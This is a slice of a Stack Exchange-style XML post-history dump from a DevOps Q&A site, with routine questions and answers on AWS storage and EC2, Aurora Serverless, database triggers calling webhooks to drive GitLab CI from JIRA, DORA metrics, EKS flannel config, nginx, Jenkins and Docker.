  <row Id="40484" PostHistoryTypeId="1" PostId="13151" RevisionGUID="09de2a3e-d115-4fd5-8e7d-23600286e77b" CreationDate="2021-01-17T14:41:59.033" UserId="25664" Text="How to skip reviewer for project administrator pull request?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40485" PostHistoryTypeId="3" PostId="13151" RevisionGUID="09de2a3e-d115-4fd5-8e7d-23600286e77b" CreationDate="2021-01-17T14:41:59.033" UserId="25664" Text="&lt;git&gt;&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40486" PostHistoryTypeId="50" PostId="4639" RevisionGUID="7fcdd447-5cef-44b8-8666-b3050120bcf0" CreationDate="2021-01-17T15:04:20.440" UserId="-1" />
  <row Id="40487" PostHistoryTypeId="50" PostId="5422" RevisionGUID="bb59ebf7-93ae-4047-ae8e-0076dd9a9315" CreationDate="2021-01-17T22:02:15.190" UserId="-1" />
  <row Id="40496" PostHistoryTypeId="33" PostId="13147" RevisionGUID="5e093215-bb43-4538-a07e-c11d3eb1993c" CreationDate="2021-01-18T05:50:22.200" UserId="16434" Comment="66" />
  <row Id="40497" PostHistoryTypeId="33" PostId="13140" RevisionGUID="75fedde3-9d61-4734-9935-8c9c7427b47b" CreationDate="2021-01-18T11:08:35.193" UserId="25630" Comment="67" />
  <row Id="40498" PostHistoryTypeId="2" PostId="13154" RevisionGUID="9c6ed2e8-ce9c-43b8-8dcc-9e33f9684d25" CreationDate="2021-01-18T12:09:29.613" UserId="6689" Text="I have a bad experience with [Storage Gateway][1] and would to consider the possibility to setup a 100TB SSD device (via EFS or similar) on AWS and allow an access to the storage device from different clients such as: Amazon Workspaces sessions, EC2 machines, AWS Batch and other station within the same VPC. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/storagegateway/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40499" PostHistoryTypeId="1" PostId="13154" RevisionGUID="9c6ed2e8-ce9c-43b8-8dcc-9e33f9684d25" CreationDate="2021-01-18T12:09:29.613" UserId="6689" Text="How to mount a single 100TB SSD on AWS and access the device over nfs from different machines within the same VPC?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40500" PostHistoryTypeId="3" PostId="13154" RevisionGUID="9c6ed2e8-ce9c-43b8-8dcc-9e33f9684d25" CreationDate="2021-01-18T12:09:29.613" UserId="6689" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40501" PostHistoryTypeId="5" PostId="13154" RevisionGUID="533da4ce-492b-43fd-bf0f-9550316bbb11" CreationDate="2021-01-18T12:20:11.890" UserId="6689" Comment="added 140 characters in body" Text="I have a bad experience with [Storage Gateway][1] (SGW) and would to consider the possibility to setup a 100TB SSD device (via EFS or similar) on AWS and allow an access to the storage device from different clients such as: Amazon Workspaces sessions, EC2 machines, AWS Batch and other station within the same VPC. &#xD;&#xA;&#xD;&#xA;The main issue is that SGW fails quite frequently to mirror the s3 bucket properly even after 24 hours upon update of the bucket. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/storagegateway/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40503" PostHistoryTypeId="50" PostId="8408" RevisionGUID="30b95822-04e9-4270-b175-81ebe3146f4f" CreationDate="2021-01-18T14:08:30.900" UserId="-1" />
  <row Id="40504" PostHistoryTypeId="2" PostId="13155" RevisionGUID="28817207-b268-42f2-9aec-46cd2169190b" CreationDate="2021-01-18T15:11:56.487" UserId="192" Text="When logged onto a AWS EC2 instance say some Ubuntu box and I issue&#xD;&#xA;&#xD;&#xA;    sudo shutdown now&#xD;&#xA;&#xD;&#xA;how is that different from stopping the same instance using &#xD;&#xA;&#xD;&#xA;    aws ec2 stop-instances --instance-ids  $curr_instanceid --region $AWS_REGION&#xD;&#xA;&#xD;&#xA;either way I see the instance gets into the state of `stopped` and it will transition into state `running` once this is run&#xD;&#xA;&#xD;&#xA;    aws ec2 start-instances --instance-ids   $curr_instanceid --region $AWS_REGION&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40505" PostHistoryTypeId="1" PostId="13155" RevisionGUID="28817207-b268-42f2-9aec-46cd2169190b" CreationDate="2021-01-18T15:11:56.487" UserId="192" Text="what is difference between &quot;sudo shutdown now&quot; versus &quot;aws ec2 stop-instances&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40506" PostHistoryTypeId="3" PostId="13155" RevisionGUID="28817207-b268-42f2-9aec-46cd2169190b" CreationDate="2021-01-18T15:11:56.487" UserId="192" Text="&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40508" PostHistoryTypeId="2" PostId="13156" RevisionGUID="10d25edf-e5b2-499d-9e3a-1444ba7f09e4" CreationDate="2021-01-18T16:51:26.503" UserId="22660" Text="I want to host an application that connects to a DB and makes queries to it. The application holds onto the connection indefinitely but only makes queries to the DB when the user interacts with the frontend.&#xD;&#xA;&#xD;&#xA;I know that AWS Aurora Serverless has a &quot;pause compute capacity&quot; feature to only charge you for the DB's storage after a specified amount of time. If the application is still connected to the DB (even without making queries), does that prevent the DB from scaling down to 0 compute units and pausing its compute capacity?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40509" PostHistoryTypeId="1" PostId="13156" RevisionGUID="10d25edf-e5b2-499d-9e3a-1444ba7f09e4" CreationDate="2021-01-18T16:51:26.503" UserId="22660" Text="Does a DB connection prevent AWS Aurora Serverless from pausing its compute capacity?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40510" PostHistoryTypeId="3" PostId="13156" RevisionGUID="10d25edf-e5b2-499d-9e3a-1444ba7f09e4" CreationDate="2021-01-18T16:51:26.503" UserId="22660" Text="&lt;amazon-web-services&gt;&lt;amazon-rds&gt;&lt;serverless&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40511" PostHistoryTypeId="2" PostId="13157" RevisionGUID="6ab7a173-fb68-43dc-9c42-4f1eab5b8109" CreationDate="2021-01-18T16:56:06.833" UserId="2845" Text="One option for doing this is to create a database trigger using mysql-udf-http. From perodriguezl answer:&#xD;&#xA;&#xD;&#xA;&gt;You can use a mysql-udf-http and then create a trigger like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;delimiter $$&#xD;&#xA;CREATE TRIGGER upd_check BEFORE UPDATE ON account &#xD;&#xA;FOR EACH ROW &#xD;&#xA;  BEGIN &#xD;&#xA;    IF NEW.amount &gt; 0 THEN &#xD;&#xA;      set @json = select json_object(account_id,amount) &#xD;&#xA;      select http_post('http://restservice.example.com/account/post',@json); &#xD;&#xA;    END IF; &#xD;&#xA;  END;$$ &#xD;&#xA;&#xD;&#xA;delimiter;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You would then need to tweak your trigger to watch for an update on the ticket to set it to the status you want to trigger off of." ContentLicense="CC BY-SA 4.0" />
  <row Id="40512" PostHistoryTypeId="2" PostId="13158" RevisionGUID="69037dec-80a2-435f-8bb9-e86e54470089" CreationDate="2021-01-18T17:07:47.593" UserId="6341" Text="As a workaround, you can add &quot;bypass policies&quot; for project admins.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;The documentation: [Security groups - Git repository (object-level)][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Aw6tJ.png&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/organizations/security/permissions?view=azure-devops&amp;tabs=preview-page#git-repository-object-level" ContentLicense="CC BY-SA 4.0" />
  <row Id="40514" PostHistoryTypeId="2" PostId="13159" RevisionGUID="6e73c905-0bdc-4382-94b4-0ab9093b7851" CreationDate="2021-01-18T18:18:08.290" UserId="15016" Text="You are asking the right questions and hitting on a very important aspect of these metrics. **Individual metrics are not super helpful and measurements need to be defined.** Having worked with these measurements across small and large organizations, let me walk you through my thought process.&#xD;&#xA;&#xD;&#xA;Definitions:&#xD;&#xA;&#xD;&#xA; - Metrics - Some sort of calculation on one or more measures&#xD;&#xA; - Measure - An amount of something using a specific unit&#xD;&#xA; - Change Failure Rate (CFR) - The percentage of deployments causing a failure in production&#xD;&#xA; - Mean Time to Recover (MTTR) - How long it takes an organization to recover from a failure in production&#xD;&#xA;&#xD;&#xA;This conversation could include [Service-Level Indicators (SLI), Service-Level Objective (SLO), and Service-Level Agreement (SLA)][1], however, for this purpose I will assume we have measurements (SLI) to ensure we are meeting our goals (SLO) and not breaking our promise to users (SLA).&#xD;&#xA;&#xD;&#xA;Before getting into the details, the main question asked is:&#xD;&#xA;&#xD;&#xA;**What are we trying to measure?**&#xD;&#xA;&#xD;&#xA;At the end of the day, any organization exists to create value, these metrics are meant to track any interruption in the flow of value from the organization to its consumers / users. &#xD;&#xA;&#xD;&#xA;*As an example, if we wanted to measure how efficiently the organization adds new value to users,  Lead Time for changes is a great way. How long does it take new code or business ideas (depending on if you would like to include non technical business processes) to get from creation / ideation to the user? Lead Time includes CFR and MTTR, both of these can interrupt getting value to the consumer and increase Lead Time.*&#xD;&#xA;&#xD;&#xA;Using the value creation lens, let's look at CFR first.&#xD;&#xA;&#xD;&#xA;**What does the organization consider a failure in production?**&#xD;&#xA;&#xD;&#xA;I have typically used it as an event needing immediate fixing, on the call during the production deployment. The service we deployed needed to be rolled back, a hotfix needed to be pushed immediately to correct an issue discovered during the deployment, or something equally catastrophic. These are all interruptions to value reaching the user. A bug not presenting itself for a few days, would not create a Change Failure with this definition. However, if the bug began to trip indicators (SLI) (example, degraded speed or experience for the end user), exceeds our objectives (SLO), or even breaks or promise to users (SLA) then an incident is created and it will bring us to your next measurement, MTTR.&#xD;&#xA;&#xD;&#xA;Assuming the bug mentioned creates an incident, MTTR measures how long it takes to fix it. If the fix is a roll back for the original release, or a hotfix of the release, it really does not matter. The measurement is how long it takes to correct.  &#xD;&#xA;&#xD;&#xA;**Pulling this together.**&#xD;&#xA;&#xD;&#xA;1. Determine what the measure is. &#xD;&#xA;&#xD;&#xA;*For CFR, what does the organization consider a production failure? I provided a few examples, but all organizations are free to create their own measure. For MTTR, the measure is time, hopefully from issue creation to correction, sometimes we need to settle for incident discovery to correction.*&#xD;&#xA;&#xD;&#xA;2. With the Measure, track the Metrics.&#xD;&#xA;&#xD;&#xA;*How many failed production releases are there? How long, on average, does it take to correct production incidents?*&#xD;&#xA;&#xD;&#xA;3. With the Metrics, track and, hopefully, improve the flow of value from the organization to the consumer.&#xD;&#xA;&#xD;&#xA;*If a deployment is successful, it should not trip the measurement for Change Failure, however, if there are bugs, their interruption to value will be caught with Mean Time To Recovery.* &#xD;&#xA;&#xD;&#xA;These measurements and metrics ([Lead Time To Change, Mean Time to Recovery, Deployment Frequency, and Change Failure Rate][2]) are meant to tell a story in aggregate.&#xD;&#xA;&#xD;&#xA;*Assuming weekly deployment, if an organization has 0% CFR, but a 14 Month MTTR with incidents occurring every week, then the flow of value is constantly interrupted and the amazing CFR score means very little. Or, if the CFR is 50% and the MTTR is 2 Mins, then the high CFR looks horrible, but the actual interruption to users is only 2 Mins * bugs per week. It really takes both, or all four of the metrics, to create an accurate picture of the real state of the code and deployment process.*&#xD;&#xA;&#xD;&#xA;Hopefully this helps. Working through these measurements and metrics is a journey, probably with no conclusion, with a goal of improving the amount of value an organization can create for its consumers. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/blog/products/gcp/sre-fundamentals-slis-slas-and-slos&#xD;&#xA;  [2]: https://cloud.google.com/blog/products/devops-sre/using-the-four-keys-to-measure-your-devops-performance" ContentLicense="CC BY-SA 4.0" />
  <row Id="40515" PostHistoryTypeId="5" PostId="8498" RevisionGUID="22eee906-2e6a-45ea-8997-0e1d8736ba01" CreationDate="2021-01-18T20:39:51.633" UserId="7715" Comment="Formatting improved." Text="Q: **&quot;*In the event that variable item.ppsize is not set I want to exclude that entire parameter from being included.*&quot;**&#xD;&#xA;&#xD;&#xA;A: Use the *default* filter to omit module parameters using the special [*omit*](https://docs.ansible.com/ansible/latest/user_guide/playbooks_filters.html#omitting-parameters) variable&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;    pp_size: &quot;{{ item.ppsize|default(omit) }}&quot;&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40516" PostHistoryTypeId="2" PostId="13160" RevisionGUID="d6c95169-5493-432f-a937-94ff51a39063" CreationDate="2021-01-18T20:50:35.397" UserId="17811" Text=" 1. create storage in AWS Console&#xD;&#xA; 2. mount created storage into VM&#xD;&#xA; 3. configure nfs deamon to present the storage volume in the VPC&#xD;&#xA; 4. configure Clients to use/mount NFS volume coming from server" ContentLicense="CC BY-SA 4.0" />
  <row Id="40517" PostHistoryTypeId="5" PostId="13160" RevisionGUID="ee80faf1-0376-4db4-a627-53c22a8c4d28" CreationDate="2021-01-18T21:02:26.023" UserId="17811" Comment="thank the person and reported compatibilty" Text=" 1. create storage in AWS Console&#xD;&#xA; 2. mount created storage into VM&#xD;&#xA; 3. configure nfs deamon to present the storage volume in the VPC&#xD;&#xA; 4. configure Clients to use/mount NFS volume coming from server&#xD;&#xA;&#xD;&#xA;sometimes the easiest is the best, this even works on other systems, not just AWS." ContentLicense="CC BY-SA 4.0" />
  <row Id="40518" PostHistoryTypeId="5" PostId="13147" RevisionGUID="117c1629-fa01-47ba-bff4-1cb1420554d9" CreationDate="2021-01-18T23:14:08.220" UserId="16434" Comment="General tidying, mention JIRA's &quot;Trigger A Webhook&quot;" Text="I would like to start builds in `GitLab CI` in response to `issue transitions` in `JIRA`. &#xD;&#xA;&#xD;&#xA;I have not found a direct way to do that from searching online. I have found ways to get GitLab to tell JIRA what to do, but seemingly no solutions in the other direction. &#xD;&#xA;&#xD;&#xA;We have a constraint which would make `JIRA` to `GitLab` messages very helpful: we must deploy to servers under the rule that a branch gets deployed &#xD;&#xA;&#xD;&#xA; 1. to ...test.example.com when the JIRA issue has status `QA`&#xD;&#xA; 2. to ...stage.example.com when the JIRA issue has status `Stage`&#xD;&#xA; 3. to ...beta.example.com when the JIRA issue has status `Beta`&#xD;&#xA; 4. to ....example.com when the JIRA issue has status `Done`&#xD;&#xA;&#xD;&#xA;Note that we have added a `Merge Request` field to issues in our `JIRA`, so we know &quot;the branch for an issue&quot; (and &quot;the issues for a branch&quot;). &#xD;&#xA;&#xD;&#xA;To satisfy this constraint we run a python script to do deploys for `QA`, `Stage`, `Beta` every hour in a crontab for every project. That script has too many top-level loops, and too many features (being old).&#xD;&#xA;&#xD;&#xA;Instead I would prefer to have `JIRA` notify that an issue is ready for re-build, and then ask our `GitLab CI` to re-build the relevant `Merge Request`.&#xD;&#xA;&#xD;&#xA;In a JIRA workflow status transitions can &quot;Trigger A Webhook&quot;, but it seems we will have to supply our own `REST api` to which `JIRA` can `post` messages, and which can then ping `GitLab`. That's a new internal app, which will need maintenance, and gain features, so we would like to find out if there are any other solutions." ContentLicense="CC BY-SA 4.0" />
  <row Id="40519" PostHistoryTypeId="4" PostId="13147" RevisionGUID="117c1629-fa01-47ba-bff4-1cb1420554d9" CreationDate="2021-01-18T23:14:08.220" UserId="16434" Comment="General tidying, mention JIRA's &quot;Trigger A Webhook&quot;" Text="How to get GitLab CI to rebuild on JIRA issue status change?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40520" PostHistoryTypeId="2" PostId="13161" RevisionGUID="37b1d320-f9bf-43a8-a6b2-df2586d71463" CreationDate="2021-01-18T23:25:17.333" UserId="25689" Text="I am using Kubectl 1.20.2 on the client side and 1.18.9 on the server side.  I have deployed EKS, and I have created a cluster.  The pods never become ready unless I manually log into the worker nodes and create an /run/flannel/subnet.env file.&#xD;&#xA;&#xD;&#xA;I use these four lines for each worker node:&#xD;&#xA;&#xD;&#xA;    FLANNEL_NETWORK=10.244.0.0/16&#xD;&#xA;    FLANNEL_SUBNET=10.244.0.1/24&#xD;&#xA;    FLANNEL_MTU=1450&#xD;&#xA;    FLANNEL_IPMASQ=true&#xD;&#xA;&#xD;&#xA;It sometimes works.  But when the EC-2 servers get rebooted, this file gets deleted.  I know how to pass an AMI with the command I use to create the nodes, but I would rather not have an AMI image to maintain.  Is there a recommended way of creating this file /run/flannel/subnet.env?  I was thinking of trying to user user data, but this seems somewhat involved. It seems like I did something wrong in deploying flannel when the worker nodes do not have this file. &#xD;&#xA; &#xD;&#xA;When I run `kubectl describe pods` I sometimes get the error &#xD;&#xA;&#xD;&#xA;&gt; failed to set up sandbox container ... network for pod &quot;foobar&quot;:&#xD;&#xA;&gt; networkPlugin cni failed to set up pod &quot;another_name&quot; network: invalid&#xD;&#xA;&gt; CIDR address:&#xD;&#xA;&#xD;&#xA;  So maybe this file's IP addresses are not correct. I have tried using unique IP addresses in the files on the worker nodes, but this did not help.&#xD;&#xA; &#xD;&#xA;What is common for creating the subnet.env file on the worker nodes?  My method is manual and not reliable.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="40521" PostHistoryTypeId="1" PostId="13161" RevisionGUID="37b1d320-f9bf-43a8-a6b2-df2586d71463" CreationDate="2021-01-18T23:25:17.333" UserId="25689" Text="How should Kubernetes worker nodes get the correct /run/flannel/subnet.env file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40522" PostHistoryTypeId="3" PostId="13161" RevisionGUID="37b1d320-f9bf-43a8-a6b2-df2586d71463" CreationDate="2021-01-18T23:25:17.333" UserId="25689" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;containers&gt;&lt;networking&gt;&lt;eks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40523" PostHistoryTypeId="5" PostId="13157" RevisionGUID="2492f712-c6be-4289-ad2c-42c69de86ffe" CreationDate="2021-01-19T02:41:34.363" UserId="2845" Comment="added 1705 characters in body" Text="One option for doing this is to create a database trigger.&#xD;&#xA;&#xD;&#xA;In Mysql&#xD;&#xA;--------&#xD;&#xA;&#xD;&#xA;In MySQL and MariaDB, you can do this with mysql-udf-http. [From perodriguezl answer](https://stackoverflow.com/a/57937476/3127174) from Stack Overflow:&#xD;&#xA;&#xD;&#xA;&gt;You can use a mysql-udf-http and then create a trigger like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;delimiter $$&#xD;&#xA;CREATE TRIGGER upd_check BEFORE UPDATE ON account &#xD;&#xA;FOR EACH ROW &#xD;&#xA;  BEGIN &#xD;&#xA;    IF NEW.amount &gt; 0 THEN &#xD;&#xA;      set @json = select json_object(account_id,amount) &#xD;&#xA;      select http_post('http://restservice.example.com/account/post',@json); &#xD;&#xA;    END IF; &#xD;&#xA;  END;$$ &#xD;&#xA;&#xD;&#xA;delimiter;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In Postgres&#xD;&#xA;-----------&#xD;&#xA;&#xD;&#xA;In Postgres, you can write a stored procedure and use `plperlu` with `REST::Client`&#xD;&#xA;&#xD;&#xA;From [JustMe's Answer](https://stackoverflow.com/a/46543582) on Stack Overflow:&#xD;&#xA;&#xD;&#xA;&gt; ...the fastest way is to use `plperlu` with `REST::Client` package, e.g.:&#xD;&#xA;&#xD;&#xA;    CREATE OR REPLACE FUNCTION restful.put(auri character varying, ajson_text text)&#xD;&#xA;     RETURNS text&#xD;&#xA;     LANGUAGE plperlu&#xD;&#xA;     SECURITY DEFINER&#xD;&#xA;    AS $function$&#xD;&#xA;      use REST::Client;  &#xD;&#xA;      use Encode qw(encode);&#xD;&#xA;      my $client = REST::Client-&gt;new();    &#xD;&#xA;      $client-&gt;getUseragent()-&gt;proxy( 'https', 'http://some-proxy/' ); # use for proxy authentication&#xD;&#xA;      $client-&gt;addHeader('Content-Type', 'application/json');          # headers&#xD;&#xA;      $client-&gt;POST( $_[0], encode('UTF-8', $_[1]));                   # encoding&#xD;&#xA;      return $client-&gt;responseContent();  &#xD;&#xA;    $function$&#xD;&#xA;&#xD;&#xA;Using Oracle&#xD;&#xA;------------&#xD;&#xA;&#xD;&#xA;On an Oracle database, You will need to use `UTL_HTTP` - [Lucas Jellema's blog has a good example.](https://technology.amis.nl/database/invoke-a-rest-service-from-plsql-make-an-http-post-request-using-utl_http-in-oracle-database-11g-xe/) There are also several others available.&#xD;&#xA;&#xD;&#xA;Conclusion&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;In each case, You would then presumably want to tweak your trigger to watch for an `update` statement on the table and check for the status you want to trigger off of (eg, you probably don't want to trigger off of new/closed) as well as make sure it is for the right project (Not quite sure how JIRA's schema is laid out - it might do one table per project. Eg, you probably don't want to trigger builds off of IT's tickets, but only off of dev or QA's JIRA project if you have multiple.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="40533" PostHistoryTypeId="2" PostId="13164" RevisionGUID="15de0764-7aa2-4bad-8cfe-405bfe062735" CreationDate="2021-01-19T17:01:09.883" UserId="132" Text="I believe you are correct, a single long-running connection will prevent AWS Aurora Serverless from triggering the pause-and-resume feature.&#xD;&#xA;&#xD;&#xA;&gt;  Aurora Serverless v1 can also scale to zero capacity when there are no connections if you enable the pause-and-resume option for your DB cluster's capacity settings.&#xD;&#xA;&#xD;&#xA;Source: [How Aurora Serverless v1 works][1]&#xD;&#xA;&#xD;&#xA;Take this with a grain of salt, though, as I haven't tested this behaviour myself, and the docs aren't perfect. The same doc goes on to reference &quot;no activity&quot; without defining it:&#xD;&#xA;&#xD;&#xA;&gt; You can choose to pause your Aurora Serverless v1 DB cluster after a given amount of time with no activity.&#xD;&#xA;&#xD;&#xA;Which begs the question: &quot;does an idle connection count as activity?&quot;&#xD;&#xA;&#xD;&#xA;I think the best hint that an idle connection counts as &quot;activity&quot; is that the moment a connection is needed, Aurora Serverless resumes:&#xD;&#xA;&#xD;&#xA;&gt; If database connections are requested when an Aurora Serverless DB cluster is paused, the DB cluster automatically resumes and services the connection requests.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/aurora-serverless.how-it-works.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="40534" PostHistoryTypeId="2" PostId="13165" RevisionGUID="b2c43ef2-cee2-47bd-8702-3874b7231a2f" CreationDate="2021-01-19T18:08:49.120" UserId="19083" Text="I need to setup rewrite/redirect for some routes to make gatsby js pages work properly (as per [this post](https://stackoverflow.com/questions/52051090/gatsbyjs-client-only-paths-goes-to-404-page-when-the-url-is-directly-accessed-in/52770491#52770491)).&#xD;&#xA;But this configuration just gives me an infinite loop of redirects.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  location /app {&#xD;&#xA;    rewrite ^/app/(.*)$ /app/index.html?redirect=/app/$1 break;&#xD;&#xA;    # return 301 $scheme://$host/app/index.html$request_uri;&#xD;&#xA;    # ^^ doesnt work too&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  location / {&#xD;&#xA;    try_files $uri $uri/ =404;&#xD;&#xA;  }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;How to properly setup `/app/anything` -&gt; `/app/index.html?extra=anything` redirect with nginx for this case?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40535" PostHistoryTypeId="1" PostId="13165" RevisionGUID="b2c43ef2-cee2-47bd-8702-3874b7231a2f" CreationDate="2021-01-19T18:08:49.120" UserId="19083" Text="nginx redirect for Gatsby.js" ContentLicense="CC BY-SA 4.0" />
  <row Id="40536" PostHistoryTypeId="3" PostId="13165" RevisionGUID="b2c43ef2-cee2-47bd-8702-3874b7231a2f" CreationDate="2021-01-19T18:08:49.120" UserId="19083" Text="&lt;nginx&gt;&lt;proxy&gt;&lt;redirect&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40537" PostHistoryTypeId="2" PostId="13166" RevisionGUID="a971359c-b6fe-407d-b19a-d63ba70e2df3" CreationDate="2021-01-19T18:10:01.147" UserId="25705" Text="For MATLAB you can use the [app testing framework][1], but this is intended for interacting with MATLAB uifigures only. If thats what you are doing then this framework should enable that workflow.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.mathworks.com/help/matlab/app-testing-framework.html?s_tid=CRUX_lftnav" ContentLicense="CC BY-SA 4.0" />
  <row Id="40538" PostHistoryTypeId="2" PostId="13167" RevisionGUID="ab3606fa-9213-440a-a56b-8ccf52b7d14f" CreationDate="2021-01-19T21:10:31.513" UserId="25709" Text="Do I understand correctly that you don't want changes in the shared library to trigger builds for your project/pipeline?&#xD;&#xA;&#xD;&#xA;If so, you can do it per-pipeline by modifying the `@Library(&quot;my_shared_lib&quot;) _` statement to include `changelog=false` parameter, like so `@Library(&quot;my_shared_lib&quot;, changelog=false) _`.&#xD;&#xA;&#xD;&#xA;You can also do that globally, for a specific library - uncheck the `Include @Library changes in job recent changes` checkbox (in global Jenkins configuration)." ContentLicense="CC BY-SA 4.0" />
  <row Id="40542" PostHistoryTypeId="2" PostId="13169" RevisionGUID="ea68858f-ed4a-4433-8cb1-4ac5d02b0a4f" CreationDate="2021-01-19T22:50:09.587" UserId="132" Text="Just to state the obvious for junior folks who might come across this: `sudo shutdown now` requires access to the operating system (via SSH keys, inbound security groups, etc), while `aws ec2 stop-instances` is an [AWS CLI][1] command which simply requires API authentication (via IAM credentials or STS tokens).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Aside from the obvious difference in invocation, the shutdown is the same.&#xD;&#xA;&#xD;&#xA;&gt; When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs.&#xD;&#xA;&#xD;&#xA;Source: [stop-instances documentation][2]&#xD;&#xA;&#xD;&#xA;The `--hibernate` flag defaults to `false`, so a normal shutdown is triggered immediately by your CLI command.&#xD;&#xA;&#xD;&#xA;When `--hibernate` is `true`, the suspend-to-disk process differs from a regular shutdown (such as `sudo shutdown now`), and is further documented [here][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/cli/&#xD;&#xA;  [2]: https://docs.aws.amazon.com/cli/latest/reference/ec2/stop-instances.html&#xD;&#xA;  [3]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="40544" PostHistoryTypeId="2" PostId="13170" RevisionGUID="3bb68926-908e-4a43-bd4d-9b686a355ef9" CreationDate="2021-01-20T01:31:39.933" UserId="25711" Text="I have a simple spring boot application which is wrapped into a Docker image along with its dependencies such as &quot;Couchbase&quot;. I have pushed the docker image successfully to google cloud container registry. However, when I try to deploy the application into GKE, it fails as it cannot create Couchbase DB server from the application dependencies. Is it supported in GKE?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40545" PostHistoryTypeId="1" PostId="13170" RevisionGUID="3bb68926-908e-4a43-bd4d-9b686a355ef9" CreationDate="2021-01-20T01:31:39.933" UserId="25711" Text="Can I deploy Couchbase docker dependency in GKE?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40546" PostHistoryTypeId="3" PostId="13170" RevisionGUID="3bb68926-908e-4a43-bd4d-9b686a355ef9" CreationDate="2021-01-20T01:31:39.933" UserId="25711" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;docker-compose&gt;&lt;google-cloud-platform&gt;&lt;google-kubernetes-engine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40548" PostHistoryTypeId="2" PostId="13171" RevisionGUID="f7d2bb99-c9ab-46dc-9670-7100c92af1c5" CreationDate="2021-01-20T03:21:53.243" UserId="25713" Text="Navigate to the **Plugin Manager**, then click on the **Installed** tab and scroll to the bottom. There should be a button there that says something along the lines of **Restart Jenkins once no jobs are running**." ContentLicense="CC BY-SA 4.0" />
  <row Id="40549" PostHistoryTypeId="2" PostId="13172" RevisionGUID="2762d32c-fca7-42ff-bcd2-eb0036225f67" CreationDate="2021-01-20T07:24:48.393" UserId="7646" Text="As the title says, how can one find Docker's version?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40550" PostHistoryTypeId="1" PostId="13172" RevisionGUID="2762d32c-fca7-42ff-bcd2-eb0036225f67" CreationDate="2021-01-20T07:24:48.393" UserId="7646" Text="How can I find the version of Docker I am using?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40551" PostHistoryTypeId="3" PostId="13172" RevisionGUID="2762d32c-fca7-42ff-bcd2-eb0036225f67" CreationDate="2021-01-20T07:24:48.393" UserId="7646" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40552" PostHistoryTypeId="2" PostId="13173" RevisionGUID="1dc27bf4-1b0a-404b-a821-260964e9b3fd" CreationDate="2021-01-20T07:24:48.393" UserId="7646" Text="For the daemon's version (meaning the engine's version) that's running on your server:&#xD;&#xA;&#xD;&#xA;    $ dockerd --version&#xD;&#xA;    Docker version 20.10.2, build 8891c58&#xD;&#xA;&#xD;&#xA;For your client's version that's running on your local computer and with which you send commands to the daemon on the remote server:&#xD;&#xA;&#xD;&#xA;    $ docker --version&#xD;&#xA;    Docker version 19.03.13, build 4484c46d9d" ContentLicense="CC BY-SA 4.0" />
  <row Id="40553" PostHistoryTypeId="2" PostId="13174" RevisionGUID="04705422-2150-4b6d-bc9b-d0cdfce5bc37" CreationDate="2021-01-20T07:27:14.080" UserId="7646" Text="I need to know a rough release date for the next Docker version(s) or the version scheme they are using for their releases (like &quot;a new version every 3 months&quot; or similar).&#xD;&#xA;&#xD;&#xA;So I can plan updates in advance to reserve time for them.&#xD;&#xA;&#xD;&#xA;Where might I find information about upcoming Docker releases?" ContentLicense="CC BY-SA 4.0" />
